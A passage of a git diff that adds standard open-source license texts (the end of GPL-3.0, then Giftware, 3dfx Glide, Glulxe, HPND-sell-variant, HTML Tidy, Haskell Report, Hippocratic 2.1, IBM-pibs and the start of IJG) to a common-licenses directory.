+each party to that transaction who receives a copy of the work also receives
+whatever licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the Corresponding
+Source of the work from the predecessor in interest, if the predecessor has
+it or can get it with reasonable efforts.
+
+You may not impose any further restrictions on the exercise of the rights
+granted or affirmed under this License. For example, you may not impose a
+license fee, royalty, or other charge for exercise of rights granted under
+this License, and you may not initiate litigation (including a cross-claim
+or counterclaim in a lawsuit) alleging that any patent claim is infringed
+by making, using, selling, offering for sale, or importing the Program or
+any portion of it.
+
+ 11. Patents.
+
+A "contributor" is a copyright holder who authorizes use under this License
+of the Program or a work on which the Program is based. The work thus licensed
+is called the contributor's "contributor version".
+
+A contributor's "essential patent claims" are all patent claims owned or controlled
+by the contributor, whether already acquired or hereafter acquired, that would
+be infringed by some manner, permitted by this License, of making, using,
+or selling its contributor version, but do not include claims that would be
+infringed only as a consequence of further modification of the contributor
+version. For purposes of this definition, "control" includes the right to
+grant patent sublicenses in a manner consistent with the requirements of this
+License.
+
+Each contributor grants you a non-exclusive, worldwide, royalty-free patent
+license under the contributor's essential patent claims, to make, use, sell,
+offer for sale, import and otherwise run, modify and propagate the contents
+of its contributor version.
+
+In the following three paragraphs, a "patent license" is any express agreement
+or commitment, however denominated, not to enforce a patent (such as an express
+permission to practice a patent or covenant not to sue for patent infringement).
+To "grant" such a patent license to a party means to make such an agreement
+or commitment not to enforce a patent against the party.
+
+If you convey a covered work, knowingly relying on a patent license, and the
+Corresponding Source of the work is not available for anyone to copy, free
+of charge and under the terms of this License, through a publicly available
+network server or other readily accessible means, then you must either (1)
+cause the Corresponding Source to be so available, or (2) arrange to deprive
+yourself of the benefit of the patent license for this particular work, or
+(3) arrange, in a manner consistent with the requirements of this License,
+to extend the patent license to downstream recipients. "Knowingly relying"
+means you have actual knowledge that, but for the patent license, your conveying
+the covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that country
+that you have reason to believe are valid.
+
+If, pursuant to or in connection with a single transaction or arrangement,
+you convey, or propagate by procuring conveyance of, a covered work, and grant
+a patent license to some of the parties receiving the covered work authorizing
+them to use, propagate, modify or convey a specific copy of the covered work,
+then the patent license you grant is automatically extended to all recipients
+of the covered work and works based on it.
+
+A patent license is "discriminatory" if it does not include within the scope
+of its coverage, prohibits the exercise of, or is conditioned on the non-exercise
+of one or more of the rights that are specifically granted under this License.
+You may not convey a covered work if you are a party to an arrangement with
+a third party that is in the business of distributing software, under which
+you make payment to the third party based on the extent of your activity of
+conveying the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory patent
+license (a) in connection with copies of the covered work conveyed by you
+(or copies made from those copies), or (b) primarily for and in connection
+with specific products or compilations that contain the covered work, unless
+you entered into that arrangement, or that patent license was granted, prior
+to 28 March 2007.
+
+Nothing in this License shall be construed as excluding or limiting any implied
+license or other defenses to infringement that may otherwise be available
+to you under applicable patent law.
+
+ 12. No Surrender of Others' Freedom.
+
+If conditions are imposed on you (whether by court order, agreement or otherwise)
+that contradict the conditions of this License, they do not excuse you from
+the conditions of this License. If you cannot convey a covered work so as
+to satisfy simultaneously your obligations under this License and any other
+pertinent obligations, then as a consequence you may not convey it at all.
+For example, if you agree to terms that obligate you to collect a royalty
+for further conveying from those to whom you convey the Program, the only
+way you could satisfy both those terms and this License would be to refrain
+entirely from conveying the Program.
+
+ 13. Use with the GNU Affero General Public License.
+
+Notwithstanding any other provision of this License, you have permission to
+link or combine any covered work with a work licensed under version 3 of the
+GNU Affero General Public License into a single combined work, and to convey
+the resulting work. The terms of this License will continue to apply to the
+part which is the covered work, but the special requirements of the GNU Affero
+General Public License, section 13, concerning interaction through a network
+will apply to the combination as such.
+
+ 14. Revised Versions of this License.
+
+The Free Software Foundation may publish revised and/or new versions of the
+GNU General Public License from time to time. Such new versions will be similar
+in spirit to the present version, but may differ in detail to address new
+problems or concerns.
+
+Each version is given a distinguishing version number. If the Program specifies
+that a certain numbered version of the GNU General Public License "or any
+later version" applies to it, you have the option of following the terms and
+conditions either of that numbered version or of any later version published
+by the Free Software Foundation. If the Program does not specify a version
+number of the GNU General Public License, you may choose any version ever
+published by the Free Software Foundation.
+
+If the Program specifies that a proxy can decide which future versions of
+the GNU General Public License can be used, that proxy's public statement
+of acceptance of a version permanently authorizes you to choose that version
+for the Program.
+
+Later license versions may give you additional or different permissions. However,
+no additional obligations are imposed on any author or copyright holder as
+a result of your choosing to follow a later version.
+
+ 15. Disclaimer of Warranty.
+
+THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE
+LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
+OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
+EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM
+PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR
+CORRECTION.
+
+ 16. Limitation of Liability.
+
+IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL
+ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM
+AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL,
+INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO
+USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED
+INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE
+PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER
+PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+ 17. Interpretation of Sections 15 and 16.
+
+If the disclaimer of warranty and limitation of liability provided above cannot
+be given local legal effect according to their terms, reviewing courts shall
+apply local law that most closely approximates an absolute waiver of all civil
+liability in connection with the Program, unless a warranty or assumption
+of liability accompanies a copy of the Program in return for a fee. END OF
+TERMS AND CONDITIONS
+
+How to Apply These Terms to Your New Programs
+
+If you develop a new program, and you want it to be of the greatest possible
+use to the public, the best way to achieve this is to make it free software
+which everyone can redistribute and change under these terms.
+
+To do so, attach the following notices to the program. It is safest to attach
+them to the start of each source file to most effectively state the exclusion
+of warranty; and each file should have at least the "copyright" line and a
+pointer to where the full notice is found.
+
+<one line to give the program's name and a brief idea of what it does.>
+
+Copyright (C) <year> <name of author>
+
+This program is free software: you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free Software
+Foundation, either version 3 of the License, or (at your option) any later
+version.
+
+This program is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License along with
+this program. If not, see <https://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program does terminal interaction, make it output a short notice like
+this when it starts in an interactive mode:
+
+<program> Copyright (C) <year> <name of author>
+
+This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+
+This is free software, and you are welcome to redistribute it under certain
+conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License. Of course, your program's commands might
+be different; for a GUI interface, you would use an "about box".
+
+You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary. For
+more information on this, and how to apply and follow the GNU GPL, see <https://www.gnu.org/licenses/>.
+
+The GNU General Public License does not permit incorporating your program
+into proprietary programs. If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library. If this is what you want to do, use the GNU Lesser General Public
+License instead of this License. But first, please read <https://www.gnu.org/
+licenses /why-not-lgpl.html>.
diff --git a/meta/files/common-licenses/Giftware b/meta/files/common-licenses/Giftware
new file mode 100644
index 0000000000..c22c5a6fb9
--- /dev/null
+++ b/meta/files/common-licenses/Giftware
@@ -0,0 +1,9 @@
+Allegro 4 (the giftware license)
+
+Allegro is gift-ware. It was created by a number of people working in cooperation, and is given to you freely as a gift. You may use, modify, redistribute, and generally hack it about in any way you like, and you do not have to give us anything in return.
+
+However, if you like this product you are encouraged to thank us by making a return gift to the Allegro community. This could be by writing an add-on package, providing a useful bug report, making an improvement to the library, or perhaps just releasing the sources of your program so that other people can learn from them. If you redistribute parts of this code or make a game using it, it would be nice if you mentioned Allegro somewhere in the credits, but you are not required to do this. We trust you not to abuse our generosity.
+
+By Shawn Hargreaves, 18 October 1998.
+
+DISCLAIMER: THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR ANYONE DISTRIBUTING THE SOFTWARE BE LIABLE FOR ANY DAMAGES OR OTHER LIABILITY, WHETHER IN CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/meta/files/common-licenses/Glide b/meta/files/common-licenses/Glide
new file mode 100644
index 0000000000..23eae7c417
--- /dev/null
+++ b/meta/files/common-licenses/Glide
@@ -0,0 +1,95 @@
+3DFX GLIDE Source Code General Public License
+
+1. PREAMBLE
+
+This license is for software that provides a 3D graphics application program interface (API).The license is intended to offer terms similar to some standard General Public Licenses designed to foster open standards and unrestricted accessibility to source code. Some of these licenses require that, as a condition of the license of the software, any derivative works (that is, new software which is a work containing the original program or a portion of it) must be available for general use, without restriction other than for a minor transfer fee, and that the source code for such derivative works must likewise be made available. The only restriction is that such derivative works must be subject to the same General Public License terms as the original work.
+
+This 3dfx GLIDE Source Code General Public License differs from the standard licenses of this type in that it does not require the entire derivative work to be made available under the terms of this license nor is the recipient required to make available the source code for the entire derivative work. Rather, the license is limited to only the identifiable portion of the derivative work that is derived from the licensed software. The precise terms and conditions for copying, distribution and modification follow.
+
+2. DEFINITIONS
+
+ 2.1 This License applies to any program (or other "work") which contains a notice placed by the copyright holder saying it may be distributed under the terms of this 3dfx GLIDE Source Code General Public License.
+
+ 2.2 The term "Program" as used in this Agreement refers to 3DFX's GLIDE source code and object code and any Derivative Work.
+
+ 2.3 "Derivative Work" means, for the purpose of the License, that portion of any work that contains the Program or the identifiable portion of a work that is derived from the Program, either verbatim or with modifications and/or translated into another language, and that performs 3D graphics API operations. It does not include any other portions of a work.
+
+ 2.4 "Modifications of the Program" means any work, which includes a Derivative Work, and includes the whole of such work.
+
+ 2.5 "License" means this 3dfx GLIDE Source Code General Public License.
+
+ 2.6 The "Source Code" for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, any associated interface definition files, and the scripts used to control compilation and installation of the executable work.
+
+ 2.7 "3dfx" means 3dfx Interactive, Inc.
+
+3. LICENSED ACTIVITIES
+
+ 3.1 COPYING - You may copy and distribute verbatim copies of the Program's Source Code as you receive it, in any medium, subject to the provision of section 3.3 and provided also that:
+
+ (a) you conspicuously and appropriately publish on each copy an appropriate copyright notice (3dfx Interactive, Inc. 1999), a notice that recipients who wish to copy, distribute or modify the Program can only do so subject to this License, and a disclaimer of warranty as set forth in section 5;
+
+ (b) keep intact all the notices that refer to this License and to the absence of any warranty; and
+
+ (c) do not make any use of the GLIDE trademark without the prior written permission of 3dfx, and
+
+ (d) give all recipients of the Program a copy of this License along with the Program or instructions on how to easily receive a copy of this License.
+
+ 3.2 MODIFICATION OF THE PROGRAM/DERIVATIVE WORKS - You may modify your copy or copies of the Program or any portion of it, and copy and distribute such modifications subject to the provisions of section 3.3 and provided that you also meet all of the following conditions:
+
+ (a) you conspicuously and appropriately publish on each copy of a Derivative Work an appropriate copyright notice, a notice that recipients who wish to copy, distribute or modify the Derivative Work can only do so subject to this License, and a disclaimer of warranty as set forth in section 5;
+
+ (b) keep intact all the notices that refer to this License and to the absence of any warranty; and (c) give all recipients of the Derivative Work a copy of this License along with the Derivative Work or instructions on how to easily receive a copy of this License.
+
+ (d) You must cause the modified files of the Derivative Work to carry prominent notices stating that you changed the files and the date of any change.
+
+ (e) You must cause any Derivative Work that you distribute or publish to be licensed at no charge to all third parties under the terms of this License.
+
+ (f) You do not make any use of the GLIDE trademark without the prior written permission of 3dfx.
+
+ (g) If the Derivative Work normally reads commands interactively when run, you must cause it, when started running for such interactive use, to print or display an announcement as follows:
+
+ "COPYRIGHT 3DFX INTERACTIVE, INC. 1999, ALL RIGHTS RESERVED THIS SOFTWARE IS FREE AND PROVIDED "AS IS," WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED. THERE IS NO RIGHT TO USE THE GLIDE TRADEMARK WITHOUT PRIOR WRITTEN PERMISSION OF 3DFX INTERACTIVE, INC. SEE THE 3DFX GLIDE GENERAL PUBLIC LICENSE FOR A FULL TEXT OF THE DISTRIBUTION AND NON-WARRANTY PROVISIONS (REQUEST COPY FROM INFO@3DFX.COM)."
+
+ (h) The requirements of this section 3.2 do not apply to the modified work as a whole but only to the Derivative Work. It is not the intent of this License to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of Derivative Works.
+
+ 3.3 DISTRIBUTION
+
+ (a) All copies of the Program or Derivative Works which are distributed must include in the file headers the following language verbatim:
+
+ "THIS SOFTWARE IS SUBJECT TO COPYRIGHT PROTECTION AND IS OFFERED ONLY PURSUANT TO THE 3DFX GLIDE GENERAL PUBLIC LICENSE. THERE IS NO RIGHT TO USE THE GLIDE TRADEMARK WITHOUT PRIOR WRITTEN PERMISSION OF 3DFX INTERACTIVE, INC. A COPY OF THIS LICENSE MAY BE OBTAINED FROM THE DISTRIBUTOR OR BY CONTACTING 3DFX INTERACTIVE INC (info@3dfx.com). THIS PROGRAM. IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED. SEE THE 3DFX GLIDE GENERAL PUBLIC LICENSE FOR A FULL TEXT OF THE NON-WARRANTY PROVISIONS.
+
+ USE, DUPLICATION OR DISCLOSURE BY THE GOVERNMENT IS SUBJECT TO RESTRICTIONS AS SET FORTH IN SUBDIVISION (C)(1)(II) OF THE RIGHTS IN TECHNICAL DATA AND COMPUTER SOFTWARE CLAUSE AT DFARS 252.227-7013, AND/OR IN SIMILAR OR SUCCESSOR CLAUSES IN THE FAR, DOD OR NASA FAR SUPPLEMENT. UNPUBLISHED RIGHTS RESERVED UNDER THE COPYRIGHT LAWS OF THE UNITED STATES.
+
+ COPYRIGHT 3DFX INTERACTIVE, INC. 1999, ALL RIGHTS RESERVED"
+
+ (b) You may distribute the Program or a Derivative Work in object code or executable form under the terms of Sections 3.1 and 3.2 provided that you also do one of the following:
+
+ (1) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 3.1 and 3.2; or,
+
+ (2) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 3.1 and 3.2 on a medium customarily used for software interchange; or,
+
+ (3) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection 3.3(b)(2) above.)
+
+ (c) The source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable code.
+
+ (d) If distribution of executable code or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code.
+
+ (e) Each time you redistribute the Program or any Derivative Work, the recipient automatically receives a license from 3dfx and successor licensors to copy, distribute or modify the Program and Derivative Works subject to the terms and conditions of the License. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License.
+
+ (f) You may not make any use of the GLIDE trademark without the prior written permission of 3dfx.
+
+ (g) You may not copy, modify, sublicense, or distribute the Program or any Derivative Works except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program or any Derivative Works is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+4. MISCELLANEOUS
+
+ 4.1 Acceptance of this License is voluntary. By using, modifying or distributing the Program or any Derivative Work, you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. Nothing else grants you permission to modify or distribute the Program or Derivative Works and doing so without acceptance of this License is in violation of the U.S. and international copyright laws.
+
+ 4.2 If the distribution and/or use of the Program or Derivative Works is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License.
+
+ 4.3 This License is to be construed according to the laws of the State of California and you consent to personal jurisdiction in the State of California in the event it is necessary to enforce the provisions of this License.
+
+5. NO WARRANTIES
+
+ 5.1 TO THE EXTENT PERMITTED BY APPLICABLE LAW, THERE IS NO WARRANTY FOR THE PROGRAM. OR DERIVATIVE WORKS THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM AND ANY DERIVATIVE WORKS"AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM AND ANY DERIVATIVE WORK IS WITH YOU. SHOULD THE PROGRAM OR ANY DERIVATIVE WORK PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+ 5.2 IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW WILL 3DFX INTERACTIVE, INC., OR ANY OTHER COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM OR DERIVATIVE WORKS AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM OR DERIVATIVE WORKS (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM OR DERIVATIVE WORKS TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
diff --git a/meta/files/common-licenses/Glulxe b/meta/files/common-licenses/Glulxe
new file mode 100644
index 0000000000..8bbb720e65
--- /dev/null
+++ b/meta/files/common-licenses/Glulxe
@@ -0,0 +1,3 @@
+The source code in this package is copyright 1999-2010 by Andrew Plotkin.
+
+You may copy and distribute it freely, by any means and under any conditions, as long as the code and documentation is not changed. You may also incorporate this code into your own program and distribute that, or modify this code and use and distribute the modified version, as long as you retain a notice in your program or documentation which mentions my name and the URL shown above.
diff --git a/meta/files/common-licenses/HPND-sell-variant b/meta/files/common-licenses/HPND-sell-variant
new file mode 100644
index 0000000000..cac53b2373
--- /dev/null
+++ b/meta/files/common-licenses/HPND-sell-variant
@@ -0,0 +1,19 @@
+Copyright 1993 by OpenVision Technologies, Inc.
+
+Permission to use, copy, modify, distribute, and sell this software
+and its documentation for any purpose is hereby granted without fee,
+provided that the above copyright notice appears in all copies and
+that both that copyright notice and this permission notice appear in
+supporting documentation, and that the name of OpenVision not be used
+in advertising or publicity pertaining to distribution of the software
+without specific, written prior permission. OpenVision makes no
+representations about the suitability of this software for any
+purpose. It is provided "as is" without express or implied warranty.
+
+OPENVISION DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE,
+INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO
+EVENT SHALL OPENVISION BE LIABLE FOR ANY SPECIAL, INDIRECT OR
+CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF
+USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
+OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+PERFORMANCE OF THIS SOFTWARE.
diff --git a/meta/files/common-licenses/HTMLTIDY b/meta/files/common-licenses/HTMLTIDY
new file mode 100644
index 0000000000..098dee8c05
--- /dev/null
+++ b/meta/files/common-licenses/HTMLTIDY
@@ -0,0 +1,13 @@
+HTML Tidy License
+
+This software and documentation is provided "as is," and the copyright holders and contributing author(s) make no representations or warranties, express or implied, including but not limited to, warranties of merchantability or fitness for any particular purpose or that the use of the software or documentation will not infringe any third party patents, copyrights, trademarks or other rights.
+
+The copyright holders and contributing author(s) will not be held liable for any direct, indirect, special or consequential damages arising out of any use of the software or documentation, even if advised of the possibility of such damage.
+
+Permission is hereby granted to use, copy, modify, and distribute this source code, or portions hereof, documentation and executables, for any purpose, without fee, subject to the following restrictions:
+
+ 1. The origin of this source code must not be misrepresented.
+ 2. Altered versions must be plainly marked as such and must not be misrepresented as being the original source.
+ 3. This Copyright notice may not be removed or altered from any source or altered source distribution.
+
+The copyright holders and contributing author(s) specifically permit, without fee, and encourage the use of this source code as a component for supporting the Hypertext Markup Language in commercial products. If you use this source code in a product, acknowledgement is not required but would be appreciated.
diff --git a/meta/files/common-licenses/HaskellReport b/meta/files/common-licenses/HaskellReport
new file mode 100644
index 0000000000..563b7056c1
--- /dev/null
+++ b/meta/files/common-licenses/HaskellReport
@@ -0,0 +1,6 @@
+Code derived from the document "Report on the Programming Language
+Haskell 2010", is distributed under the following license:
+
+Copyright (c) 2010 Simon Marlow
+
+The authors intend this Report to belong to the entire Haskell community, and so we grant permission to copy and distribute it for any purpose, provided that it is reproduced in its entirety, including this Notice. Modified versions of this Report may also be copied and distributed for any purpose, provided that the modified version is clearly presented as such, and that it does not claim to be a definition of the Haskell 2010 Language.
diff --git a/meta/files/common-licenses/Hippocratic-2.1 b/meta/files/common-licenses/Hippocratic-2.1
new file mode 100644
index 0000000000..0395b52ddf
--- /dev/null
+++ b/meta/files/common-licenses/Hippocratic-2.1
@@ -0,0 +1,33 @@
+[SOFTWARE NAME] Copyright (YEAR) (COPYRIGHT HOLDER(S)/AUTHOR(S))(“Licensor”)
+
+Hippocratic License Version Number: 2.1.
+
+Purpose. The purpose of this License is for the Licensor named above to permit the Licensee (as defined below) broad permission, if consistent with Human Rights Laws and Human Rights Principles (as each is defined below), to use and work with the Software (as defined below) within the full scope of Licensor’s copyright and patent rights, if any, in the Software, while ensuring attribution and protecting the Licensor from liability.
+
+Permission and Conditions. The Licensor grants permission by this license (“License”), free of charge, to the extent of Licensor’s rights under applicable copyright and patent law, to any person or entity (the “Licensee”) obtaining a copy of this software and associated documentation files (the “Software”), to do everything with the Software that would otherwise infringe (i) the Licensor’s copyright in the Software or (ii) any patent claims to the Software that the Licensor can license or becomes able to license, subject to all of the following terms and conditions:
+
+* Acceptance. This License is automatically offered to every person and entity subject to its terms and conditions. Licensee accepts this License and agrees to its terms and conditions by taking any action with the Software that, absent this License, would infringe any intellectual property right held by Licensor.
+
+* Notice. Licensee must ensure that everyone who gets a copy of any part of this Software from Licensee, with or without changes, also receives the License and the above copyright notice (and if included by the Licensor, patent, trademark and attribution notice). Licensee must cause any modified versions of the Software to carry prominent notices stating that Licensee changed the Software. For clarity, although Licensee is free to create modifications of the Software and distribute only the modified portion created by Licensee with additional or different terms, the portion of the Software not modified must be distributed pursuant to this License. If anyone notifies Licensee in writing that Licensee has not complied with this Notice section, Licensee can keep this License by taking all practical steps to comply within 30 days after the notice. If Licensee does not do so, Licensee’s License (and all rights licensed hereunder) shall end immediately.
+
+* Compliance with Human Rights Principles and Human Rights Laws.
+
+ 1. Human Rights Principles.
+
+ (a) Licensee is advised to consult the articles of the United Nations Universal Declaration of Human Rights and the United Nations Global Compact that define recognized principles of international human rights (the “Human Rights Principles”). Licensee shall use the Software in a manner consistent with Human Rights Principles.
+
+ (b) Unless the Licensor and Licensee agree otherwise, any dispute, controversy, or claim arising out of or relating to (i) Section 1(a) regarding Human Rights Principles, including the breach of Section 1(a), termination of this License for breach of the Human Rights Principles, or invalidity of Section 1(a) or (ii) a determination of whether any Law is consistent or in conflict with Human Rights Principles pursuant to Section 2, below, shall be settled by arbitration in accordance with the Hague Rules on Business and Human Rights Arbitration (the “Rules”); provided, however, that Licensee may elect not to participate in such arbitration, in which event this License (and all rights licensed hereunder) shall end immediately. The number of arbitrators shall be one unless the Rules require otherwise.
+
+ Unless both the Licensor and Licensee agree to the contrary: (1) All documents and information concerning the arbitration shall be public and may be disclosed by any party; (2) The repository referred to under Article 43 of the Rules shall make available to the public in a timely manner all documents concerning the arbitration which are communicated to it, including all submissions of the parties, all evidence admitted into the record of the proceedings, all transcripts or other recordings of hearings and all orders, decisions and awards of the arbitral tribunal, subject only to the arbitral tribunal's powers to take such measures as may be necessary to safeguard the integrity of the arbitral process pursuant to Articles 18, 33, 41 and 42 of the Rules; and (3) Article 26(6) of the Rules shall not apply.
+
+ 2. Human Rights Laws. The Software shall not be used by any person or entity for any systems, activities, or other uses that violate any Human Rights Laws. “Human Rights Laws” means any applicable laws, regulations, or rules (collectively, “Laws”) that protect human, civil, labor, privacy, political, environmental, security, economic, due process, or similar rights; provided, however, that such Laws are consistent and not in conflict with Human Rights Principles (a dispute over the consistency or a conflict between Laws and Human Rights Principles shall be determined by arbitration as stated above). Where the Human Rights Laws of more than one jurisdiction are applicable or in conflict with respect to the use of the Software, the Human Rights Laws that are most protective of the individuals or groups harmed shall apply.
+
+ 3. Indemnity. Licensee shall hold harmless and indemnify Licensor (and any other contributor) against all losses, damages, liabilities, deficiencies, claims, actions, judgments, settlements, interest, awards, penalties, fines, costs, or expenses of whatever kind, including Licensor’s reasonable attorneys’ fees, arising out of or relating to Licensee’s use of the Software in violation of Human Rights Laws or Human Rights Principles.
+
+* Failure to Comply. Any failure of Licensee to act according to the terms and conditions of this License is both a breach of the License and an infringement of the intellectual property rights of the Licensor (subject to exceptions under Laws, e.g., fair use). In the event of a breach or infringement, the terms and conditions of this License may be enforced by Licensor under the Laws of any jurisdiction to which Licensee is subject. Licensee also agrees that the Licensor may enforce the terms and conditions of this License against Licensee through specific performance (or similar remedy under Laws) to the extent permitted by Laws. For clarity, except in the event of a breach of this License, infringement, or as otherwise stated in this License, Licensor may not terminate this License with Licensee.
+
+* Enforceability and Interpretation. If any term or provision of this License is determined to be invalid, illegal, or unenforceable by a court of competent jurisdiction, then such invalidity, illegality, or unenforceability shall not affect any other term or provision of this License or invalidate or render unenforceable such term or provision in any other jurisdiction; provided, however, subject to a court modification pursuant to the immediately following sentence, if any term or provision of this License pertaining to Human Rights Laws or Human Rights Principles is deemed invalid, illegal, or unenforceable against Licensee by a court of competent jurisdiction, all rights in the Software granted to Licensee shall be deemed null and void as between Licensor and Licensee. Upon a determination that any term or provision is invalid, illegal, or unenforceable, to the extent permitted by Laws, the court may modify this License to affect the original purpose that the Software be used in compliance with Human Rights Principles and Human Rights Laws as closely as possible. The language in this License shall be interpreted as to its fair meaning and not strictly for or against any party.
+
+* Disclaimer. TO THE FULL EXTENT ALLOWED BY LAW, THIS SOFTWARE COMES “AS IS,” WITHOUT ANY WARRANTY, EXPRESS OR IMPLIED, AND LICENSOR AND ANY OTHER CONTRIBUTOR SHALL NOT BE LIABLE TO ANYONE FOR ANY DAMAGES OR OTHER LIABILITY ARISING FROM, OUT OF, OR IN CONNECTION WITH THE SOFTWARE OR THIS LICENSE, UNDER ANY KIND OF LEGAL CLAIM.
+
+This Hippocratic License is an Ethical Source license (https://ethicalsource.dev) and is offered for use by licensors and licensees at their own risk, on an “AS IS” basis, and with no warranties express or implied, to the maximum extent permitted by Laws.
diff --git a/meta/files/common-licenses/IBM-pibs b/meta/files/common-licenses/IBM-pibs
new file mode 100644
index 0000000000..49454b8b1e
--- /dev/null
+++ b/meta/files/common-licenses/IBM-pibs
@@ -0,0 +1,8 @@
+This source code has been made available to you by IBM on an AS-IS basis. Anyone receiving this source is licensed under IBM copyrights to use it in any way he or she deems fit, including copying it, modifying it, compiling it, and redistributing it either with or without modifications. No license under IBM patents or patent applications is to be implied by the copyright license.
+
+Any user of this software should understand that IBM cannot provide technical support for this software and will not be responsible for any consequences resulting from the use of this software.
+
+Any person who transfers this source code or any derivative work must include the IBM copyright notice, this paragraph, and the preceding two paragraphs in the transferred software.
+
+COPYRIGHT   I B M   CORPORATION 2002
+LICENSED MATERIAL  -  PROGRAM PROPERTY OF I B M
diff --git a/meta/files/common-licenses/IJG b/meta/files/common-licenses/IJG
new file mode 100644
index 0000000000..761071caa4
--- /dev/null
+++ b/meta/files/common-licenses/IJG
@@ -0,0 +1,38 @@
+Independent JPEG Group License
+
+LEGAL ISSUES
+
+In plain English:
+
+1. We don't promise that this software works. (But if you find any bugs, please let us know!)
